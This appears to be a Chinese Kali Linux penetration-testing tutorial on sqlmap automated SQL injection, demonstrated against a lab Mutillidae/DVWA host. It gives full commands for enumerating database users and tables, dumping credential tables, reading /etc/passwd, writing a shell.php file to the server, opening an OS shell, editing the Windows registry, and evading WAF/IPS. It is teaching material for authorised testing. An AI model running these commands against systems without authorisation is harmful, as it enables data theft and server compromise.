# #当前账号root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --privileges -U CU

#查所有用户root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --privileges

5. –roles

# 角色root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --roles

6. –dbs / -D

--dbsEnumerate DBMS databases-D DBDBMS database to enumerate-T TBL DBMS database table(s) to enumerate-C COL DBMS database table column(s) to enumerate-X EXCLUDEDBMS database identifier(s) to not enumerate-U USER DBMS user to enumerate--exclude-sysdbs Exclude DBMS system databases when enumerating tables# 列举数据库root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --dbs

# -D 查询指定数据库root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -D dvwa

# --tables 查询有哪些表root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -D dvwa --tables

# -T 查询指定表# --columns 查询有哪些列root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -D dvwa -T users --columns

# --exclude-sysdbs 查询的时候排除系统库--exclude-sysdbs Exclude DBMS system databases when enumerating tablesroot@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --exclude-sysdbs -D dvwa

7. –count ##

#查有几条记录root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -D dvwa -T users --columns --count

8. –schema –batch –exclude-sysdbs (使用默认选项)

# 查询表结构--batch 批处理,自动使用默认选项,不会暂停要求手动选择--schema 元数据(详细信息,存在于系统库)--exclude-sysdbs 排除系统库root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --schema --batch --exclude-sysdbs

9. –dump,-C,-T,-D,-start,–stop

--dump Dump DBMS database table entries--dump-allDump all DBMS databases tables entries# 查询到列之后,就要开始 Dump 数据root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -D dvwa -T users --dump

# 只想看 user_id 第三条和第四条root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -D dvwa -T users --dump --start 3 --stop 4

# 全部,批处理root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -D dvwa -T users --dump-all --batch

10. –dump-all –exclude-sysdbs

# 排除系统库root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -D dvwa -T users --dump-all --exclude-sysdbs --batch

11. –sql-query “select * from users”

# 单独写一条查询语句root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -D dvwa -T users --sql-query "select * from users"

# 结果被保存在 /root/.sqlmap/output/10.10.10.132root@kali:~/.sqlmap/output/10.10.10.132/dump/dvwa# cat users.csv

10. Brute force 暴力破解

Brute force:These options can be used to run brute force checks--common-tablesCheck existence of common tables--common-columns Check existence of common columns需要暴破数据库的情况:Mysql < 5.0,没有 information_schema 库Mysq| >= 5.0,但无权读取information_schema 库时微软的 access 数据库,默认无权读取 MSysObjects 库

1. –common-tables

# 暴力破解表root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --common-tables

2. –common-columns (Access 系统表无列信息)

#暴力破解当前表的列,也可以手动指定root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -T accounts --common-columns

11.User-defined function injection 用户定义功能注入

User-defined function injection:These options can be used to create custom user-defined functions--udf-inject Inject custom user-defined functions--shared-lib=SHLIB Local path of the shared library

1. –udf-inject / –shared-lib

编译共享库创建并上传至DB Server,以此生成UDF实现高级注入Linux : shared objectWindows: DLL

详细文档:

/inquis/advanced-sql-injection-to-operating-system-full-control-slides?qid=77a8a74f-5a5f-438f-b0b0-18effb237ba4&v=&b=&from_search=1

文档内容百度云网盘下载文件 密码:5p6z

12. File system access 文件系统访问

File system access:These options can be used to access the back-end database managementsystem underlying file system--file-read=RFILE Read a file from the back-end DBMS file system--file-write=WFILE Write a local file on the back-end DBMS file system--file-dest=DFILE Back-end DBMS absolute filepath to write to

1. –file-read=”/etc/passwd”

# 读取系统的文件,并写入sqlmap 文件root@kali:~/.sqlmap/output/10.10.10.132# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --file-read="/etc/passwd"

root@kali:~/.sqlmap/output/10.10.10.132/files# cat _etc_passwd

2. –file-write=”shell.php” / –file-dest “/tmp/shell.php”

–file-write 写入文件,要求在路径下必须存在此文件,将这个文件写入到服务器

root@kali:~# echo "AAAAAAAAAAAAAA" > shell.php

–file-dest 服务器放置文件的路径

root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --file-write="/root/shell.php" --file-dest "/tmp/shell.php"

13. Operating system access 操作系统访问

Operating system access:These options can be used to access the back-end database managementsystem underlying operating system--os-cmd=OSCMDExecute an operating system command--os-shellPrompt for an interactive operating system shell--os-pwn Prompt for an OOB shell, Meterpreter or VNC--os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC--os-bof Stored procedure buffer overflow exploitation--priv-escDatabase process user privilege escalation--msf-path=MSFPATH Local path where Metasploit Framework is installed--tmp-path=TMPPATH Remote absolute path of temporary files directoryMysql、postgresql上传共享库并生成sys_exec()、sys_eval()两个UDFMssqlxp_cmdshell 存储过程(有就用、禁了启,没有建)

1. –os-cmd

--os-cmd=OSCMDExecute an operating system commandroot@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=1&password=p1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --os-cmd id# 错误提示没有写权限

2. –sql-shell

--os-shellPrompt for an interactive operating system shellroot@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --sql-shell

3. –os-shell

root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --os-shell

14. Windows registry access Windows 注册表访问

Windows registry access:These options can be used to access the back-end database managementsystem Windows registry--reg-readRead a Windows registry key value--reg-add Write a Windows registry key value data--reg-del Delete a Windows registry key value--reg-key=REGKEY Windows registry key--reg-value=REGVAL Windows registry key value--reg-data=REGDATA Windows registry key value data--reg-type=REGTYPE Windows registry key value type# 要求执行数据库操作的用户拥有操作注册表的权限

–reg-read # 读注册表–reg-add # 添加新的注册表–reg-del # 删除注册表–reg-key # 指定注册表的键–reg-value # 指定注册表的值–reg-data # 指定注册表的数据

–reg-type # 指定注册表的类型

# 需要操作系统账号有修改注册表的权限sqlmap –u="http://1.1.1.1/a.aspx?id=1" --reg-add --regkey="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value="Test" --reg-type="REG_SZ" --reg-data="1"

15.General 一般操作

General:These options can be used to set some general working parameters-s SESSIONFILELoad session from a stored (.sqlite) file-t TRAFFICFILELog all HTTP traffic into a textual file--batch Never ask for user input, use the default behavior--binary-fields=.. Result fields having binary values (e.g. "digest")--check-internet Check Internet connection before assessing the target--crawl=CRAWLDEPTH Crawl the website starting from the target URL--crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout")--csv-del=CSVDEL Delimiting character used in CSV output (default ",")--charset=CHARSET Blind SQL injection charset (e.g. "0123456789abcdef")--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)--encoding=ENCOD.. Character encoding used for data retrieval (e.g. GBK)--etaDisplay for each output the estimated time of arrival--flush-sessionFlush session files for current target--forms Parse and test forms on target URL--fresh-queriesIgnore query results stored in session file--har=HARFILE Log all HTTP traffic into a HAR file--hexUse DBMS hex function(s) for data retrieval--output-dir=OUT.. Custom output directory path--parse-errorsParse and display DBMS error messages from responses--save=SAVECONFIG Save options to a configuration INI file--scope=SCOPE Regexp to filter targets from provided proxy log--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)--test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK)--update Update sqlmap

1. -s: 指定sqlite会话文是件保存位置

默认 sqlmap 查询的信息都保存在 .sqlmap/output/10.10.10.132/ 下可以用 -s 指定新的位置

2. -t: 指定记录流量文件保存位置

3. –charset: 盲注字符集

例:--charset=0123456789abcdef

4. –crawl: 从起始位置爬站深度

例:--batch -crawl=3

5. –csv-del: 指定其他分隔符, dump数据默认存于“,”分割的CSV文件中

例:--csv-del=";"# 默认 dump 下来的数据每个列会以“,”分隔root@kali:~/.sqlmap/output/10.10.10.132/dump/dvwa# cat users.csv

# 指定使用“;”分隔root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -D dvwa -T users --dump-all --exclude-sysdbs --batch --csv-del=";"

root@kali:~/.sqlmap/output/10.10.10.132/dump/dvwa# cat users.csv

6. –encoding:指定字符编码

例:--encoding=GBK

7. –flush-session: 清空会话 #清空本地查询的保存结果

8. –force-ssl:指定使用 ssl 加密

9. –fresh-queries: 忽略 session 文件内的查询结 ##果

10. –hex: dump非ASCI字符内容时,将其编码为16进制形式,收到后解码还原

sqlmap -u "http://1.1.1.1/s.php?id=1" --hex -v 3

11. –output-dir:指定输出目录(默认optput)

例:--output-dir=/tmp

12. –parse-errors: 分析和现实数据库内建报错信息

sqlmap.py -u "http://1.1.1.1/sqlmap/a.asp?id=" --parse-errors

13. –save: 将命令保存成配置文件

root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -D dvwa -T users --dump-all --exclude-sysdbs --batch --csv-del=";" --fresh-queries --save /root/111.txtroot@kali:~# cat 111.txt

16. Miscellaneous 杂项

Miscellaneous:-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")--alert=ALERT Run host OS command(s) when SQL injection is found--answers=ANSWERS Set question answers (e.g. "quit=N,follow=N")--beep Beep on question and/or when SQL injection is found--cleanup Clean up the DBMS from sqlmap specific UDF and tables--dependenciesCheck for missing (non-core) sqlmap dependencies--disable-coloring Disable console output coloring--gpage=GOOGLEPAGE Use Google dork results from specified page number--identify-wafMake a thorough testing for a WAF/IPS/IDS protection--mobile Imitate smartphone through HTTP User-Agent header--offline Work in offline mode (only use session data)--purge-outputSafely remove all content from output directory--skip-wafSkip heuristic detection of WAF/IPS/IDS protection--smart Conduct thorough tests only if positive heuristic(s)--sqlmap-shellPrompt for an interactive sqlmap shell--tmp-dir=TMPDIR Local directory for storing temporary files--web-root=WEBROOT Web server document root directory (e.g. "/var/www")--wizard Simple wizard interface for beginner users

1. -Z: 参数助记符

sqlmap --batch --random-agent --ignore-proxy-technique=BEU -U "1.1.1.1/a.php?id=1"#支持简写sqlmap -z "bat,randoma,ign,tec=BEU" -u " 1.1.1.1/a.php?id=1"sqlmap --ignore-proxy --flush-session-echnique=U --dump -D testdb -T users -U "1.1.1.1/a.php?id=1 "# 支持简写sqlmap -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "1.1.1.1/vuln.php?id=1"

2. –answer

# 指定问题的回答sqlmap -u "http://1.1.1.1/a.php?id=l" --technique=E --answers="extending=N" --batch

3. –identify-waf

# 对一个waf/ip/ids保护进行彻底的测试

4. –skip-waf

# 跳过对waf/ip/ids保护的启发式检测

5. –hpp: HTTP parameter pollution

# 绕过WAF/IPS/IDS的有效方法# 尤其对 ASP/IIS 和 /IIS

6. –offline

# 在脱机模式下工作(只使用会话数据)

7. –mobile

# 通过HTTP用户代理头模拟智能手机

8. –dependencies

# 检查缺失的(非核心)sqlmap依赖项

9. –smart

# 只有当积极的启发式扫描时才进行全面的测试# 先检查简单的,结果正确,再进一步检测

10. –web-root

# Web服务器文档根目录

11. –wizard

# 为初学者用户提供简单的向导界面root@kali:~# sqlmap --wizard

12. –purge-output

# 安全地从输出目录中删除所有内容, 清除output文件夹

如果觉得《Kali Linux渗透测试 093 自动注入-Sqlmap》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。